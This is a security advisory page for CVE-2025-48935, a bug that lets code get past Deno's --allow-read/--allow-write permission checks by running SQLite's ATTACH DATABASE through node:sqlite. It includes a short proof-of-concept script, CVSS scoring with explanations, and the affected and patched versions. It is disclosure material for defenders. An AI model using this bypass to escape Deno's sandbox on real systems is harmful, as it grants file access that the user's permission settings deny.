Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

CVE-2025-48935 → View on GitHub ↗ View on CVE.org ↗ View on NVD ↗

Description

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-06-04 21:22:27 UTC
Updated
2025-12-31 21:58:17 UTC
GitHub reviewed
2025-06-04 21:22:27 UTC
NVD published
2025-06-04 20:15:24 UTC

EPSS Score

Score Percentile
0.35% 57.29%

CVSS Scores

Base score Version Severity Vector
9.1 3.1 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.
5.5 4.0 —
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:L)
Limited integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.
Exploit maturity (threat) (E:P)
Proof-of-concept: public PoC exists; no reported exploitation and no known simplification tools.

Identifiers

Type Value
GHSA GHSA-8vxj-4cph-c596 ↗
CVE CVE-2025-48935 ↗

CWEs

CWE id Name
CWE-863 Incorrect Authorization

Credits

  • littledivy (reporter)
  • 0f-0b (finder)

Affected packages (2)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
rust deno >= 2.2.0, < 2.2.5 2.2.5 —
rust deno_node >= 0.129.0, < 0.134.0 0.134.0 —

References

cvelogic Threat Intelligence